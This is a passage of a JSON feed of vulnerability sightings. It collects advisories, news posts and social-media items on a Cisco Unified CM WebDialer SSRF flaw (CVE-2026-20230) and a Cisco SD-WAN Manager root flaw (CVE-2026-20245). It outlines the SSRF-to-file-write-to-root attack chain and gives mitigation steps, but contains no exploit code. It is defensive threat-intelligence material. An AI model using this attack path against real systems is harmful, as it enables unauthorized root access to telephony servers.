"2026-06-04T12:45:25.997344Z"}, {"uuid": "ca67fac9-7d06-4f9f-9cff-9e4ab49c5895", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://gist.github.com/alon710/820db5e55816f217153b6bb6b1bd693c", "content": "# CVE-2026-20230: CVE-2026-20230: Server-Side Request Forgery in Cisco Unified Communications Manager WebDialer Service\n\n> **CVSS Score:** 8.6\n> **Published:** 2026-06-03\n> **Full Report:** https://cvereports.com/reports/CVE-2026-20230\n\n## Summary\nCVE-2026-20230 is a critical Server-Side Request Forgery (SSRF) vulnerability in the WebDialer service of Cisco Unified Communications Manager (Unified CM) and Cisco Unified Communications Manager Session Management Edition (Unified CM SME). The flaw arises from improper validation of input parameters within WebDialer HTTP requests. Unauthenticated remote attackers can exploit this vulnerability to force the application to make HTTP requests to internal administrative services bound to the loopback interface. In the Cisco Voice Operating System (VOS) environment, these local services trust loopback traffic inherently, permitting unauthorized file writes. By writing malicious files to specific system directories, the attacker can execute arbitrary commands with root privileges.\n\n## TL;DR\nImproper input validation in the WebDialer service of Cisco Unified CM enables unauthenticated remote attackers to execute a Server-Side Request Forgery (SSRF). This vulnerability allows attackers to query internal loopback APIs, write malicious files to the filesystem, and escalate privileges to root.\n\n## Technical Details\n\n- **Vulnerability ID**: CVE-2026-20230\n- **CWE ID**: CWE-918\n- **Attack Vector**: Network (AV:N)\n- **CVSS v3.1 Score**: 8.6 (Critical Severity Impact Rating)\n- **Exploit Status**: None (No public exploit code or active exploitation detected)\n- **CISA KEV Status**: No\n\n## Affected Systems\n\n- Cisco Unified Communications Manager (Unified CM)\n- Cisco Unified Communications Manager Session Management Edition (Unified CM SME)\n- **Cisco Unified Communications Manager**: All versions where WebDialer is active and unpatched (Fixed in: `Refer to cisco-sa-cucm-ssrf-cXPnHcW`)\n- **Cisco Unified Communications Manager SME**: All versions where WebDialer is active and unpatched (Fixed in: `Refer to cisco-sa-cucm-ssrf-cXPnHcW`)\n\n## Mitigation\n\n- Disable the WebDialer service if it is not actively required for telephony operations.\n- Apply network-level firewall rules to restrict access to Unified CM administrative and application interfaces.\n- Upgrade Cisco Unified CM and Unified CM SME to a supported software version containing the security patch.\n\n**Remediation Steps:**\n1. Log in to the Cisco Unified Serviceability page on the target node.\n2. Go to Tools -> Service Activation and check the status of Cisco WebDialer. If active and unnecessary, deactivate the service.\n3. Download the authorized system update package from the official Cisco Software Download Portal.\n4. Apply the patch or software update during a scheduled maintenance window in accordance with Cisco's deployment guidelines.\n5. Verify that the vulnerability is remediated by checking the software build version against the advisory's fixed releases list.\n\n## References\n\n- [Cisco Unified Communications Manager SSRF Security Advisory](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cucm-ssrf-cXPnHcW)\n- [CVE-2026-20230 on CVE.org](https://www.cve.org/CVERecord?id=CVE-2026-20230)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-20230) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-06-04T13:01:07.000000Z"}, {"uuid": "0e6dcd96-31d1-4deb-baa4-8631e856afeb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116692107541218445", "content": "Attention, elevated activities detected targeting Cisco Unified Communications Manager (CVE-2026-20230) https://vuldb.com/vuln/368153/cti", "creation_timestamp": "2026-06-04T13:37:37.783646Z"}, {"uuid": "e6484097-7e07-43b5-b0c0-d57b0043d51a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20230", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mnhqnbo2uh2e", "content": "\ud83d\udcf0 Cisco Rilis Tambalan Darurat untuk Kerentanan Kritis Unified CM, Kode PoC Telah Beredar Publik\n\n\ud83d\udc49 Baca artikel lengkap di sini: https://ahmandonk.com/2026/06/04/cisco-peringatan-kerentanan-kritis-unified-cm-poc-eksploitasi/\n\n#beritaTeknologi #bugServer #cisco #ciscoUnifiedCm #cve-2026-20230 ", "creation_timestamp": "2026-06-04T13:37:50.586162Z"}, {"uuid": "849aa712-9164-4ae3-85b7-2185a403246f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/cybersecurity0001.bsky.social/post/3mni46dedyx2n", "content": "Cisco Patches CVE-2026-20230 in Unified CM as Exploit Code Goes Public", "creation_timestamp": "2026-06-04T17:04:15.410940Z"}, {"uuid": "2898d5c2-ed25-4871-8102-e4a6d414f072", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mni4sov4ydn2", "content": "Cisco Patches CVE-2026-20230 in Unified CM as Exploit Code Goes Public TheHackerNews Cisco patched a Unified CM flaw allowing unauthenticated network attackers to write files and escalate to root.\n\n#Security #News\n\nOrigin | Interest | Match", "creation_timestamp": "2026-06-04T17:16:02.085321Z"}, {"uuid": "508e8cad-5a1b-4467-9c54-c4e6c34412c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mni5qpf5uw2i", "content": "Cisco Patches CVE-2026-20230 in Unified CM as Exploit Code Goes Public", "creation_timestamp": "2026-06-04T17:32:24.953399Z"}, {"uuid": "88b945be-77ee-42a8-a0a7-f1b3c1f7fa7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://t.me/cibsecurity/89626", "content": "\ud83d\udd8b\ufe0f Cisco Patches CVE-2026-20230 in Unified CM as Exploit Code Goes Public \ud83d\udd8b\ufe0f\n\nCisco has patched a bug in Unified Communications Manager that lets an unauthenticated attacker on the network write files to the box and, from there, climb to root.  It is tracked as CVE202620230, and proofofconcept exploit code is already public. Cisco's PSIRT says it has not seen the flaw used in attacks yet. The PoC shortens that runway.  The flaw is a serverside request forgery.\n\n\ud83d\udcd6 Read more.\n\n\ud83d\udd17 Via \"The Hacker News\"\n\n----------\n\ud83d\udc41\ufe0f Seen on @cibsecurity", "creation_timestamp": "2026-06-04T17:15:06.000000Z"}, {"uuid": "feeb52e9-c6a0-4967-91d3-af15747f4a81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://t.me/ctinow/251316", "content": "Cisco Patches CVE-2026-20230 in Unified CM as Exploit Code Goes Public\nhttps://ift.tt/PuWjc4e", "creation_timestamp": "2026-06-04T17:14:06.000000Z"}, {"uuid": "3ac7168e-0a98-4af6-a282-ca39f55209e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/bitnewsbot.bsky.social/post/3mni7ld6zkg2g", "content": "Cisco has patched a critical server-side request forgery vulnerability, CVE-2026-20230, in its Unified Communications Manager and Session Management Edition. The [\u2026]", "creation_timestamp": "2026-06-04T18:05:11.825207Z"}, {"uuid": "51531889-0424-4f6e-9fc3-84884cf12355", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://thehackernews.com/2026/06/cisco-patches-cve-2026-20230-in-unified.html", "content": "Cisco has patched a bug in Unified Communications Manager that lets an unauthenticated attacker on the network write files to the box and, from there, climb to root.\n\nIt is tracked as CVE-2026-20230, and proof-of-concept exploit code is already public. Cisco's PSIRT says it has not seen the flaw used in attacks yet. The PoC shortens that runway.\n\nThe flaw is a server-side request forgery.", "creation_timestamp": "2026-06-04T14:55:51.000000Z"}, {"uuid": "6956abfa-aaa5-41eb-a5d0-f97966b280d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3mnisdwfqru2p", "content": "\ud83d\udea8 [CRITICAL INFRASTRUCTURE ALERT]: CVE-2026-20230\n\n\u2022 CVE ID: CVE-2026-20230\n\u2022 CVSS Score: 8.6 (High)\n\u2022 Affected: Unified CM as Expl\n\nhttps://securitycyber.uk", "creation_timestamp": "2026-06-04T23:41:06.267816Z"}, {"uuid": "eb13c2a2-0f00-4458-81d4-8ff7ec17c3f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/8281", "content": "Cisco \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Unified Communications Manager (Unified CM), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 root.\n\nCisco Unified CM (\u0440\u0430\u043d\u0435\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u043a\u0430\u043a Cisco CallManager) \u0441\u043b\u0443\u0436\u0438\u0442 \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 IP-\u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0438\u0438 Cisco, \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0449\u0435\u0439 \u0437\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u044e \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0438\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-20230 \u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0431\u0435\u0437 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043b\u044f \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a \u0441 \u043f\u043e\u0434\u0434\u0435\u043b\u043a\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 (SSRF) \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0435, \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u043e\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e. \u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f  \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0432 \u0431\u0430\u0437\u043e\u0432\u0443\u044e \u041e\u0421, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432 root.\n\nCisco (PSIRT) \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0433\u043e PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0434\u043b\u044f CVE-2026-20230, \u043d\u043e \u043f\u043e\u043a\u0430 \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u0446\u0435\u043b\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u043e\u0437\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f.\n\n\u0421\u043b\u0435\u0434\u0443\u0435\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u043b\u0443\u0436\u0431\u0430 WebDialer \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430 (\u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d).\n\n\n\u041e\u0431\u0445\u043e\u0434\u043d\u044b\u0445 \u043f\u0443\u0442\u0435\u0439 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u043d\u043e \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c Cisco Unified CM \u0432\u0435\u0440\u0441\u0438\u0439 14SU6 \u0438\u043b\u0438 15SU5 (\u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026 \u0433. \u0438\u043b\u0438 COP), \u0438\u043b\u0438 \u0436\u0435 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0441\u043b\u0443\u0436\u0431\u0443 WebDialer \u0434\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u0430\u0442\u0447\u0430, \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0449\u0435\u0433\u043e \u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 CVE-2026-20230.", "creation_timestamp": "2026-06-04T18:30:06.000000Z"}, {"uuid": "9307e032-9271-4295-816a-82206ac78715", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/happeningnow.news/post/3mnijgs47mj2b", "content": "Cisco Patches CVE-2026-20230 in Unified CM as Exploit Code Goes Public\nCisco has patched a bug in Unified Communications Manager that lets an unauthenticated attacker on the network write files to the box and, from there, climb to root. It is tracked\u2026\n\n\ud83d\udd17 https://hnow.live/a/b7de2431", "creation_timestamp": "2026-06-04T21:01:36.806016Z"}, {"uuid": "6186b18b-5cbd-43e8-a724-96e810f34968", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://t.me/TengkorakCyberCrewzz/10920", "content": "Cisco Patches CVE-2026-20230 in Unified CM as Exploit Code Goes Public \u2013 thehackernews.com\n\nFri, 05 Jun 2026 00:55:51", "creation_timestamp": "2026-06-04T20:03:10.000000Z"}, {"uuid": "667547be-c520-40ef-bce6-2990d4537c31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20230", "type": "seen", "source": "https://bsky.app/profile/crustytldr.bsky.social/post/3mnimu3fpbx2h", "content": "\ud83d\udd12 Cisco Patches CVE-2026-20230 in Unified CM as Exploit Code Goes Public\n\nCisco has patched a bug in Unified Communications Manager...\n\nhttps://thehackernews.com/2026/06/cisco-patches-cve-2026-20230-in-unified.html #CyberSecurity #InfoSec #CrustyTLDR", "creation_timestamp": "2026-06-04T22:02:43.993092Z"}, {"uuid": "c6090c2e-f26e-4087-b0f2-9a9590387bac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mninkr3kmr2z", "content": "Cisco patched CVE-2026-20230 in Unified CM and Session Management Edition, a SSRF flaw that can allow arbitrary file writes and potential root escalation. PoC code is public. #Cisco #UnifiedCM #WebDialer", "creation_timestamp": "2026-06-04T22:15:25.111221Z"}, {"uuid": "8feb7018-34ce-4fbe-9e96-f8fc0860904f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20230", "type": "seen", "source": "https://bsky.app/profile/blindthoughts.bsky.social/post/3mninnc7brp2r", "content": "Cisco Unified CM Exploit Goes Public \u2014 Unauthenticated Root Access via CVE-2026-20230\n\nhttps://blindthoughts.com/cisco-unified-cm-cve-2026-20230-root-exploit\n\n#cisco #vulnerability #exploit #unifiedcommunications #patchnow", "creation_timestamp": "2026-06-04T22:16:49.796604Z"}, {"uuid": "c7046b06-583a-4c40-b642-dfc4abe00753", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/ninjaowl.ai/post/3mnirknuaxb27", "content": "Cisco Patches CVE-2026-20230 in Unified CM as Exploit Code Goes Public #cybersecurity #hacking #news #infosec #security #technology #privacy thehackernews.com/20...", "creation_timestamp": "2026-06-04T23:26:59.954352Z"}, {"uuid": "a8d9f986-aa29-4f86-b781-fc0677e08dfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3mnithbuash2p", "content": "\ud83d\udea8 [CRITICAL INFRASTRUCTURE ALERT]: CVE-2026-20230\n\n\u2022 CVE ID: CVE-2026-20230\n\u2022 CVSS Score: 8.6 (High)\n\u2022 Affected: ThreatsDay Bulleti\n\nhttps://securitycyber.uk", "creation_timestamp": "2026-06-05T00:00:50.303617Z"}, {"uuid": "e09373a8-5826-4c87-87e5-f97c5549f87c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mnitivx5fd2f", "content": "\ud83d\udfe0 CVE-2026-20245 - High (7.8)\n\nA vulnerability in the CLI of Cisco Catalyst SD-WAN Manager, formerly SD-WAN vManage, could allow...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-20245/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-05T00:01:45.816771Z"}, {"uuid": "8b6f7970-4a2c-44c5-92e9-9a05be46eb57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mnj2biabcl27", "content": "Cisco\u306f\u3001\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u30b3\u30fc\u30c9\u304c\u516c\u958b\u3055\u308c\u305f\u3053\u3068\u3092\u53d7\u3051\u3001Unified CM\u306eCVE-2026-20230\u3092\u4fee\u6b63\u3057\u305f \n\nCisco Patches CVE-2026-20230 in Unified CM as Exploit Code Goes Public  #HackerNews (Jun 4)\n\nthehackernews.com/2026/06/cisc...", "creation_timestamp": "2026-06-05T02:02:52.623510Z"}, {"uuid": "133f8d26-2ae1-4061-bfaa-bada239c7452", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mnj3tf3oaw2f", "content": "Top 3 CVE for last 7 days:\nCVE-2025-48595: 136 interactions\nCVE-2026-0257: 43 interactions\nCVE-2026-48778: 23 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-49858: 11 interactions\nCVE-2026-20230: 6 interactions\nCVE-2026-10737: 4 interactions\n", "creation_timestamp": "2026-06-05T02:30:47.822207Z"}, {"uuid": "b49720fc-3cd1-49ac-a1ae-a0908b34d8e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mnjh2b6gjl2s", "content": "CVE-2026-20245 in Cisco Catalyst SD-WAN Manager CLI enables authenticated local attackers with netadmin privileges to execute root commands via crafted files.\n", "creation_timestamp": "2026-06-05T05:51:29.461941Z"}, {"uuid": "7c173381-0333-49fa-b62c-43835ef795f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mnjhd3kjcdl2", "content": "Cisco Warns of 7th SD-WAN Zero-Day Exploited in 2026 The vulnerability is tracked as CVE-2026-20245 and it can allow arbitrary command execution as root, but no patch yet. The post Cisco Warns of 7...\n\n#Vulnerabilities #Cisco #exploited #Featured #SD-WAN #Zero-Day\n\nOrigin | Interest | Match", "creation_timestamp": "2026-06-05T05:56:27.314699Z"}, {"uuid": "e845a70d-8889-4a9b-913c-d8f6b5d0e5ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/bleepingcomputer.com/post/3mnjivnnxth2s", "content": "On Thursday, Cisco warned of a high-severity, unpatched zero-day in the Cisco Catalyst SD-WAN Manager (tracked as CVE-2026-20245) actively\u00a0exploited in attacks enabling root privilege escalation.", "creation_timestamp": "2026-06-05T06:24:41.261700Z"}, {"uuid": "9300b9f2-865e-4452-90b6-4b66768fc03a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20230", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mnjj6zwhfssm", "content": "Cisco Patches CVE-2026-20230 in Unified CM as Exploit Code Goes Public https://thehackernews.com/2026/06/cisco-patches-cve-2026-20230-in-unified.html", "creation_timestamp": "2026-06-05T06:30:47.487671Z"}, {"uuid": "9dd96891-a3a9-44fa-bedf-80eb09af60bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/sec-news-bot.bsky.social/post/3mnjkwxmv2d22", "content": "Cisco SD-WAN Manager \u306e\u672a\u30d1\u30c3\u30c1\u30bc\u30ed\u30c7\u30a4\u304c\u60aa\u7528\u4e2d\u3001root\u6a29\u9650\u6607\u683c\u304c\u53ef\u80fd\n\nCisco Catalyst SD-WAN Manager \u306e\u9ad8\u6df1\u523b\u5ea6\u30bc\u30ed\u30c7\u30a4\uff08CVE-2026-20245\uff09\u304c\u73fe\u5728\u653b\u6483\u306b\u60aa\u7528\u3055\u308c\u3066\u304a\u308a\u3001root\u6a29\u9650\u6607\u683c\u3092\u53ef\u80fd\u306b\u3057\u3066\u3044\u307e\u3059\u3002\u30d1\u30c3\u30c1\u304c\u307e\u3060\u5229\u7528\u53ef\u80fd\u3067\u306f\u306a\u304f\u3001\u5bfe\u8c61\u7d44\u7e54\u306f\u7dca\u6025\u306e\u5bfe\u7b56\u304c\u5fc5\u8981\u3067\u3059\u3002\n\n#\u30bc\u30ed\u30c7\u30a4 #CVE #\u60c5\u5831\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3", "creation_timestamp": "2026-06-05T07:01:13.615517Z"}, {"uuid": "a2fbedd2-5b7b-41af-9302-46dc85e05ad5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mnjl22l5av2r", "content": "Cisco Catalyst SD-WAN Manager\u306e\u8106\u5f31\u6027(CVE-2026-20245)\u304c\u653b\u6483\u306b\u60aa\u7528\u3055\u308c\u3066\u304a\u308a\u3001\u653b\u6483\u8005\u306froot\u6a29\u9650\u306e\u6607\u683c\u304c\u53ef\u80fd\u3002", "creation_timestamp": "2026-06-05T07:02:56.429170Z"}, {"uuid": "85ac6942-ef28-4eaf-9eeb-ade1ddcc85ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mnjl3bqnlm2q", "content": "CVE-2026-20245\uff1aCisco SD-WAN\u3067root\u6a29\u9650\u3067\u306e\u30b3\u30de\u30f3\u30c9\u5b9f\u884c\u3092\u8a31\u53ef\u3059\u308b\u8106\u5f31\u6027\u3002\u30d1\u30c3\u30c1\u672a\u63d0\u4f9b\u3002", "creation_timestamp": "2026-06-05T07:03:37.308862Z"}, {"uuid": 